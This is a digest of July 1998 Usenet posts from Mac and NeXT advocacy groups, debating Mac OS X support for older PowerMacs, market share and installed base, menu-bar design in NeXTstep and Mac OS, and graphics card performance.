Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6peuo4$3d2$1@ironhorse.plsys.co.uk> <FIiROLCWddLd-pn2-LqHtQgYcutcv@localhost> <joe.ragosta-2807980732310001@wil43.dol.net>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 29 Jul 1998 08:19:49 GMT
Organization: IBM.NET
On Tue, 28 Jul 1998 11:32:31, joe.ragosta@dol.net (Joe Ragosta)
thought aloud:
> In article <FIiROLCWddLd-pn2-LqHtQgYcutcv@localhost>,
> pit@iohk.SPAM-NOT.com (taiQ) wrote:
>
> > On Sun, 26 Jul 1998 10:00:36, mmalcolm crawford <malcolm@plsys.co.uk>
> > thought aloud:
> >
> > > In <FIiROLCWddLd-pn2-BxfPX9XHOycJ@localhost> taiQ wrote:
> > > > Huh? 386's had been off shelves for years by '95, even 486's were
> > > > getting very rare. '95 was well into "Pentium" era. What's the
> > > > relevance of all this? This Rhapsody / Mac OS X issue is about
> > > > Apple, a one-stop shop, going back on their word that last year's
> > > > plenty powerful PCI PowerPC Macs would run the long-awaited modern OS
> > > > (which would also make them run more efficiently than with the legacy
> > > > "Classic" Mac OS).
> > > >
> > > As far as I'm aware MacOS X Server, aka Rhapsody, will run on all the
> > > machines Apple promised it would run on. Thus Apple is not reneging on its
> > > promise.
> >
> > Meaning all (Apple) systems shipping on or after January 7, 1997 would
> > be compatible with Mac OS X? This would be very good news, but is it
> > reliable, i.e. any Apple-originated references to that effect?
>
> Not quite. He said that all systems sold after Jan, 1997 would run Mac OS
> X _Server_. (Actually, I think there may be one PowerBook that doesn't
> work, but I'm not sure). That's not quite the same as Mac OS X.
You said that in your best Dreyfuss tone, didn't you. ;-)
OK. I see Apple's new naming conventions got me confused and feeling
hopeful if just for a moment. I'd still love to see good old-fashioned
references to that statement.
If the New Rhap supports my dang cool and slim Mac, and the real McCoy
X runs too albeit potentially unsupported, my next systems would come
attached to a monochrome fruit. And this '97 Macintosh entrant would
not feel shafted, meaning that the Eilers "<--but isn't" guy would
have been right at least once. ;-)
However, if even the New Rhap doesn't run on my "pre-G3 Anniversis
Obsolutus" it'll be hello goodbye to most effectively minimize the
possibility of "... fool me twice..."
And Joe, in another thread I asked you to explain your comment on how
MOSX would need kludges to support '97 PCI Powermac designs... I'd
still be interested in learning about those kludges you mentioned.
Rgds,
--
taiQ
[this space is intentionally blank]
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 13:27:00 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BE09D8.CE1B3A15@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com> <6p07rq$gn5$1@nnrp1.dejanews.com> <6p0aht$mrk$1@nntp6.u.washington.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
R. Tang wrote:
> In article <6p07rq$gn5$1@nnrp1.dejanews.com>, <quinlan@intergate.bc.ca> wrote:
> >Then they shouldn't have said that they would do it. Their incompetance is
> >hardly my problem. And I don't believe that Apple can't port Mac OS X to all
> >the PowerMacs.
>
> Neither does Apple.
>
> The part people keep forgetting to mention is under what time
> frame using what kind of resources.
>
> Give 'em five years and another few hundred people, and there's
> probably no question they could do all PCI Macs.
>
> But in two years?
>
Frankly, having followed the MkLinux and LinuxPPC projects, if it took Apple over
2 months to support the already supported pre-G3 models with Mac OS X, it'd be
rank incompetence.
From: nospamhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 28 Jul 1998 22:11:00 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980728221100265868@pm2-3-21.aug.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com> <jpolaski-2407980852040001@d151-33.ce.mediaone.net> <35B892EE.D87B3ED9@nstar.net> <gmgraves-2407981156090001@sf-usr1-51-179.dialup.slip.net> <joe.ragosta-2407982240030001@elk55.dol.net> <gmgraves-2507981418380001@sf-usr1-25-153.dialup.slip.net> <19980727201430142403@pm2-2-05.aug.com> <macghod-2707981908410001@sdn-ar-002casbarp026.dialsprint.net>
Steve Sullivan <macghod@concentric.net> wrote:
> Total marketshare has INCREASED. Apples units sales have stayed about the
> same (actually they even dropped a insignificant ammount.) Increase of
> total market and shipping the same number of units results in a DECREASE
> of marketshare, comprende?
Could you please explain the differneces between market share, retail
marketshare and installed userbase?
--
*** To reply via email remove nospam from my return address. ***
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 29 Jul 1998 02:54:42 GMT
Organization: Steel Driving Software
Message-ID: <01bdbac6$4d3c4b90$ddb5dccf@samsara>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <MPG.1026c4f284b72c45989a2c@news.supernews.com> <6pjgmr$m6i$3@lwnws01.ne.highway1.com> <MPG.1028195454173173989a36@news.supernews.com> <k4wv1.8467$7k7.11605996@news.rdc1.sdca.home.com>
rr6013@yahoo.com wrote in article
> But their John's words, he owns them - its his right to exercise his
> individual style. Hey, do we really want "Milk Toast" Kheit around here?
> Nah, Fire & Brimstone John gives us his best (arguable best) and the
> challenge of a little to chew on.
"Tourette's John" is more like it. ;^)
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 29 Jul 1998 09:07:22 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pmooa$u1p$1@nnrp1.dejanews.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
> It does: MacOS 8.5, MacOS 9.
Imagine if Microsoft had continued to develop Windows 3.x after they had
released Windows 95. Who would care? People want new OS versions presumably
because they want new features. Mac OS 8.5 and 9 will be missing the features
that a lot of people really want from OS X.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: View from the trenches: Multi-users
Date: 29 Jul 1998 09:15:58 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6pmp8e$3pg$1@sun27.hrz.tu-darmstadt.de>
References: <35bbc451.0@news.depaul.edu> <1998072701033400.VAA23503@ladder01.news.aol.com> <6pirnq$os9$1@news.spacelab.net> <6piu3d$ha6$1@cronkite.cygnus.com>
jrudd@cygnus.com (John Rudd) wrote:
>(I know, I'm going to get a TON of flames from all of those people who only
>half-grok Goodtimes, saying "it's a hoax!"... before you send your flame, I
>think you should re-analyze the Goodtimes message, and the behaviors of its
>readers. The Goodtimes warning is a meme virus, which means that rather
than
>using your CPU cycles to infect your disk space and propogate itself around
>your files and the files of your firends, it uses your BRAIN to infect your
>disk space (if you save it, esp if you save it each time you recieve it) and
>to propogate itself (if you pass the warning on to other people). Don't
>trivialize the actual process that Goodtimes exploits :-} )
Excellent point, John. For an interesting reference (and a fun read!),
see also the concept of language as a virus in Neil Stephenson's (sp?)
"Snow Crash".
Regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 28 Jul 1998 21:43:01 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2807982143020001@sdn-ar-002casbarp180.dialsprint.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com> <jpolaski-2407980852040001@d151-33.ce.mediaone.net> <35B892EE.D87B3ED9@nstar.net> <gmgraves-2407981156090001@sf-usr1-51-179.dialup.slip.net> <joe.ragosta-2407982240030001@elk55.dol.net> <gmgraves-2507981418380001@sf-usr1-25-153.dialup.slip.net> <19980727201430142403@pm2-2-05.aug.com> <macghod-2707981908410001@sdn-ar-002casbarp026.dialsprint.net> <19980728221100265868@pm2-3-21.aug.com>
In article <19980728221100265868@pm2-3-21.aug.com>, nospamhattonr@aug.com
(Rick) wrote:
> > Total marketshare has INCREASED. Apples units sales have stayed about the
> > same (actually they even dropped a insignificant ammount.) Increase of
> > total market and shipping the same number of units results in a DECREASE
> > of marketshare, comprende?
>
> Could you please explain the differneces between market share, retail
> marketshare and installed userbase?
Hmmm, my spidey sense tells me this user already knows what it is but is
just testing me....
But, since many may not know, I will explain.
Marketshare- First, consider total marketshare, aka total worldwide
marketshare. take all the personal computers sold in a given time (here
the time is usually 3 months, a quarter), call this the total. So add up
all the computers Apple, ibm, compaq, etc etc sells, for the
mathematically impaired, lets say their are only 100 computers sold
worldwide by all the different computer sellers.
Further, say apple sells 10 computers. divide 100 by 10, and you get %10,
meaning apples marketshare is %10. The marketshare is just a function of
units sold by a particuliar company divided by the total number of units
sold. Thus, if the total units increases or stays the same, and your
units sold stays the same, their is no way your marketshare will increase,
regardless of how other companies do.
Retail marketshare: is marketshare in retail stores. So you would count
sears, comp usa, but apparently not count mail order, such as apple store,
macmall, macwarehouse, etc. Also, since Dell does all mail order, dell
would have a %0 in retail marketshare. Since Gateway does almost all its
selling via mailorder, it would also have a very low marketshare, tho not
%0 because I have heard something about gateway retail stores popping up
installed base: the total number of working computers being used, loosely
speaking. So lets say, their have been 200 million personaly computers
sold since pc's existed, and that 100 million are still being used.
Further, lets say apple has sold 27 million macs since it started, and
lets further say that 20 million macs are still being used. The installed
base of macs would be 20 million or 20 percent. So first you have to know
the total number of computers in use, then you have to know the how many
of a given companies computers are still in use (for computing, having the
innards taken out and making it into a macaquarium DOES NOT count)
So basically saying you have a installed base of %x is a wild guess, since
a) not only do you have to know how many of your machines are still being
used (ie, if my duo 280 c dies tommorow, and I throw it in a garbage can,
how will apple know that 1 less mac is now in use? Or if someone decides
to use the quadra as a ant farm container, how would apple know? Answer,
they have no clue.
b) but its even worse than this, for not only do you need to know how many
of YOUR computers are still being used, you also have to know how many of
everyone else's computers are being used!! Dor instance, how many amigas
are still being used, how many commodores, how many apple 2's, and pcs
from companies that arent even still around and thus their is no one to
keep track
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35bebc5e.0@nnrp1.news.uk.psi.net>
Date: 29 Jul 98 06:08:30 GMT
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Pulsar wrote:
>
>> Pardon, but what do you mean by the NeXT menu heirarchy being
>> "systemaitcally inconsistent"?
>
>The clock in the MacOS menu bar is an inconsistency. It stands alone as
>an isolated example.
>
>The NeXTstep habit of treating menus and menubars as buttons and button
>bars is a systematic inconsistency. Menus do not always pull down,
>sometimes they invoke an action on a button-click. This is not a case of
>one menu that acts like this, it is a systematic pattern of
>inconsistency. The MacOS assumes that menus are menus. NeXTstep does
>not.
Can you be clearer on this? It doesn't make any sense to me ...
The behaviour you describe above is exactly that of my MacOS-8 system.
More to the point, the behaviour of the MacOS system (excepting the menu-bar
of course) is almost exactly that of my NeXT system ...
1. A menu item marked with an elipsis brings up a panel
2. A menu item marked with a triangle brings up a sub-menu
3. Any other menu item performs some other action.
If I click and drag over menus and sub-menus and end on a menu item, that
item is activated and the menus go away.
If I click and release on a menu then move the mouse over an item and click-release
then that item is activated and (this is where the systems differ) the menu goes
away on the MacOS, stays up on NeXTstep.
As an extra capability, you can tear off NeXT style menus - is this waht you are
complaining about? If so - complain that it's an additional feature, but it's not
a consistency issue.
>In my opinion, "menu" should be reserved for the MacOS-inspired system,
>the one every other UI besides NeXTstep uses. NeXTstep does not use a
>"menu" system, it uses a command-hierarchy system. Its similarity to the
>MacOS's own is entirely superficial; functionally and conceptually
>speaking there are enormous differences between the MacOS and NeXTstep
>"menus".
Where do you get this from?
As a programmer, I know that the yellow-box api gives the application developer access
to do interesting things to menus - but that requires work. The automatic behaviour
of a NeXT-style menu is almost identical to that of the MacOS, and I am unable to see
any way you can lay a charge of inconsistency that does not also apply to the MacOS.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R2807981105150001@news>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35beb369.0@nnrp1.news.uk.psi.net>
Date: 29 Jul 98 05:30:17 GMT
andyba@corp.webtv.net (Andy Bates) wrote:
>In article <35bd8b31.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
>(Richard Frith-Macdonald) wrote:
>
>> Ah - sorry - I wasn't too clear there -
>> I consider the menu-bar part of the menu system (ie it's a menu itsself).
>
>This is an incorrect belief. It is not a menu: it is a menu bar. A menu can
>be clicked (or clicked and held) to open; the menu bar is always open. A
>menu can have an entry selected, once the mouse button is held, by
>releasing; the menu bar has to be clicked to have an entry selected.
Sophistry - minor technicalities of a UI widget (of which I'm well aware) do not
change the fact that the menu-bar is a menu (or list of options if you prefer).
>> It's already inconsistent with the other menus in that it's horizontal while
>> the other menus are vertical, it's also inconsistent in that it assumes that
>> everything in it is a sub-menu, while submenus make no such assumption.
>> In fact, the menu-bar is so very inconsistent with the rest of the menu system
>> that my meaning wasn't clear - presumably you don't consider it a menu?
>
>The menu bar is perfectly consistent; it is your understanding that is
>inconsistent.
What do you mean by 'understanding that is inconsistent'?
Sure - I understand special relativity much better than I understand general relativity,
and I understand lots of stuff not-at-all.
Perhaps I can rephrase in your terminology -
A menu-bar is a a widget that lets you select from a list of text items
(in current MacOS, items may obnly represent menus).
A menu is a widget that lets you select from a list of text items
(each of which may represent either a menu or an operation)
A menu-system consists of one or more menu-bar and menu widgets.
Why does a menu system need to restrict your initial selection to a menu?
It doesn't.
Why must the top-level of a menu system be laid out horizontally while the rest
are laid out vertically?
No reason - orientation of menus at all levels could be user selectable.
Which is more consistent - a menu system where all the widgets behave the same way
or a menu system where the widgets behave differently?
See - defining a menu-bar as a different kind of widget does not make the system
any more consistent.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <6pl6c7$fhg$1@nnrp1.dejanews.com>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35beb478.0@nnrp1.news.uk.psi.net>
Date: 29 Jul 98 05:34:48 GMT
spagiola@my-dejanews.com wrote:
>Frankly, I don't see what all the arguing is about. Consistency is
>important, but it's not the only factor to consider.
>
Yep - consistency is most important to newbie users - the rest of us can make do
with less consistency -
)-: epyt ot yaw hcihw rebmemer ew fi spleh ti hguoht
Date: Wed, 29 Jul 1998 09:55:20 +0000
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <christian.bau-2907980955200001@christian-mac.isltd.insignia.com>
References: <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu> <not-2707981327520001@ip-26-031.phx.primenet.com> <Pine.SOL.3.96.980727162726.19424A-100000@ux7.cso.uiuc.edu> <joe.ragosta-2807980851500001@wil43.dol.net> <Pine.SOL.3.96.980728104955.17041G-100000@ux8.cso.uiuc.edu>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <Pine.SOL.3.96.980728104955.17041G-100000@ux8.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> I got to compare this directly on my 8500. I have the on board
> graphics with 4 megs of VRAM and an Xclaim 3D with 4 megs of SGRAM.
> Without the graphics card using the unaccelerated motherboard graphics,
> games like Quake, Dark Colony, Warcraft II, Marathon, Connand&Conquer and
> others are noticably faster than with the graphics card. (Though this
> isn't true for the 3D accelerated version of Quake).
>
> Text handling in general (drawing, selecting, and moving) is
> noticeably faster on the motherboard graphics.
>
> Scrolling is _much_ faster with the graphics card. Moving windows around
> is _much_ faster with the graphics card.
>
> Everything else is mostly a toss up.
>
> According to MacBench, the graphics card is somewhat faster overall. When
> you break down the tests, text is slower, line drawing is slower, filled
> shapes are marginally faster, CopyBits is faster, Pictures is about the
> same. It's a trade off. Overall, I'm happier with the graphics card since
> scrolling and window moving (I use DragAnyWindow for live updating
> windows) feel so much faster.
Just one comment:
If you run MacBench, it tries dozens of variations of CopyBits. In real
life, only one of them (the srcCopy mode) is relevant at all. On the
machine on my desk, that is the only mode where the accelerator makes it
slower. A real shame. Anyway, if you just add up all the times in the
various CopyBits modes, you might get the wrong picture.
If you have an effect like that, it would explain all these games running
faster than with graphics card.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <35BDFB8F.FF6841C8@ericsson.com>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35beae7a.0@nnrp1.news.uk.psi.net>
Date: 29 Jul 98 05:09:14 GMT
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Richard Frith-Macdonald wrote:
>
>> Ah - sorry - I wasn't too clear there -
>> I consider the menu-bar part of the menu system (ie it's a menu itsself).
>> It's already inconsistent with the other menus in that it's horizontal while
>> the other menus are vertical, it's also inconsistent in that it assumes that
>> everything in it is a sub-menu, while submenus make no such assumption.
>> In fact, the menu-bar is so very inconsistent with the rest of the menu system
>> that my meaning wasn't clear - presumably you don't consider it a menu?
>
>That's right, and that's why MacOS users don't consider it inconsistent.
>It's a totally separate widget, from user-level to low-level code. It's
>impossible to escape the fact, in MacOS, that the menubar is a totally
>unique widget. Every widget set I've ever seen, on the MacOS or
>otherwise, with the exception of NeXTstep, treats the menubar as a
>unique widget.
Which is one of the reasons that the NeXT UI is the best available - though I
was actually advocating a NeXT style menu system with the horizontal/vertical
orientation of menus switchable (call is NeXT+ for short).
>There are useful and unique advantages to doing this. And besides, I
>find it desirable in the extreme by comparison to the NeXTstep way of
>doing this.
Fine - you prefer the menubar - but I know of no such advantages - even the
clock could be put in the top-level of a NeXT/NeXT+ menu if people were
(IMO) tasteless enough to want it.
>By convention and by habit, top-level menu items are
>royalty.
I quite agree.
>There's something about the fact that they are descriptive of
>categories that directly relate to the app; it doesn't seem appropriate
>to list menus as if they just happened to be the top-level items in a
>hierarchy.
Saying 'just happened' seems perverse to me - I'm sure a lot of thought
went into the UI guidelines that say exactly which items should have the
privilige of being prominantly displayed on the screen at all times.
>Things become too vague; there's too much room for me to say
>"My app is a database. I don't need no stinking File menu. My hierarchy
>will start with Edit and View, because that's what my app does."
Are you really trying to say that because the top-level menu is not a
separate class of widget, yellow-box applications programmers are more likely to
flout the UI guidelines than their Mac toolbox counterparts? If anything, the
NeXT developer tools make it so easy to write UI guideline conforming apps
that it's the other way round.
>The hierarchy is a wonderful mechanism but it's not sufficient for
>bridging the gap between taxonomy and intuition.
Agreed - so why do you prefer the more hierarchical MacOS menubar (leaving aside
the anomaly of the clock, it only permits items on it to represent menus) to the
NeXT/NeXT+ menu system which lets you have the most important items at the
toip-level whether they are submenus or not?
>That's why hierarchy is
>tempered by the presence of a wide, readable menu of commands that sits
>snugly against the top of the screen or the top of the window. This is
>the starting point.
Well - with NeXT+ it would be the starting point if the user wanted a horizontal
top-level menu. With NeXT, the menu would be more readable (it's easier to find
things in a vertical list) and would fit snugly top-left of the screen.
With either NeXT or NeXT+, the user would also have the advantage of being able to
move the menus if they wanted to.
>Even NeXTstep doesn't hold the hierarchy sacred:
>there are plenty of standard top-level items in a menu cluster that
>don't necessarily belong in every app, and thus are inconsistent with
>the whole hierarchy.
Why 'Even NeXTstep'?
It's true that things don't fit perfectly into hierarchies - that's why the
ability of the top of the menu system to contain items representing actions
as well as menus is an advantage of the NeXT/NeXT+ menu.
To restate - the NeXT/NeXT+ menu system is both richer and more consistent
than the current MacOS system due to the fact that the top-level menu/menu-bar
in the NeXT/NeXT+ system has all the capabilities of any other menu while the
MacOS menu-bar does not.
>Let me just give an example: why do books often start with an
>introductory chapter, perhaps a preface, even a prologue? Why do they
>end with appendices and epilogues? Why are they broken up with
>interludes or "Book Two" headings? Wouldn't it be most consistent simply
>to present the reader with chapter 1, chapter 2, chapter 3, ..., chapter
>N? Of course, in a certain purist's sense, it would. But the art of
>writing a book requires a bit more sensitivity than that. Computer
>graphics user interfaces aren't any different.
I don't like analogies in this kind of discussion - they are good for presenting
a general point, but it's hard to tell what undertones the author is attempting
to convey allong with the main point, and the aanalogies tend not to work well
anyway.
If your example is intended simply to demonstrate that rigorous consistency in
all things is not a good idea, then I have no dispute with that - but it's obvious.
If, on the other hand, it's intended as an analogy of the menu-systems in question
with the NeXT/NeXT+ menu system seen as dividing the book strictly into chapters, then
it is totally inappropriate, since the NeXT/NeXT+ system is the one which permits
variation (like having an introduction and prologue) in the type of item at the top
level.
>I used to like LaTeX, but nowadays I cringe every time I read a TeX
>document. Who ever imagined that you could keep a reader interested with
>a sickenly machine-like document ordering system of layout and
>presentation? What really gets me is the way that, for the sake of
>consistency, all sections are *numbered*, they're never lettered or
>given Roman numerals. And because font usage is purposely restricted for
>the sake of LaTeX's precious mathematical formula layout, almost all
>LaTeX document look exactly the same. Thousands of years of cuneiform,
>hieroglyphics, calligraphy, cursive, illumination, and other advanced
>artistic forms of writing swept away in a moment for the sake of elusive
>"consistency". Doesn't it strike you as slightly ironic?
Sounds bad - I never use it myself. I guess it's probably good at it's job - but you
wouldn't want to use it outside it's own specialised world.
Is that your point?
Is your objection to the NeXT/NeXT+ menu simply that you want the top-level stuff
to look different to other menus on personal aesthetic grounds?
Or am I reading too much into this?
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Window Shade: *please* make this go away
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6pktoe$qhd$1@walter.cs.umd.edu> <6pl5bu$dr1$1@nnrp1.dejanews.com> <6pmenb$trv$2@bunyip.cc.uq.edu.au>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35befff9.0@nnrp1.news.uk.psi.net>
Date: 29 Jul 98 10:56:57 GMT
"Christopher Smith" <drsmithy@usa.net> wrote:
>
><spagiola@my-dejanews.com> wrote in message
>6pl5bu$dr1$1@nnrp1.dejanews.com...
>>seanl@cs.umd.edu (Sean Luke) wrote:
>>[Lots of good points about how poor a UI element windowshades are]
>>
>>The other problem I have with Windows' implementation of this idea is that
>>the absolute position of various miniaturized windows in the task bar is
>>constantly shifting as windows are opened and re-miniaturized.
<SNIP>
>This is incorrect, minimising and restoring windows does not change their
>order on the taskbar, only closing and re-opening them will do it.
Perhaps that's how it's meant to work (perhaps it really works that way under
Windows-98) - but it has happened to me too under NT4.
It may be that it's a bug and doesn't normally happen - but it happens on my system.
If I have windows A and B and miniaturise A then B I get the miniaturised window for
A on the left and B to the right of it.
If I then un-miniaturise A, the miniaturised B shifts left, and when I then
re-miniaturise A the miniaturised version of A sits to the right of B.
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 29 Jul 1998 21:24:44 +1000
Organization: University of Queensland
Message-ID: <6pn0q7$5pe$1@bunyip.cc.uq.edu.au>
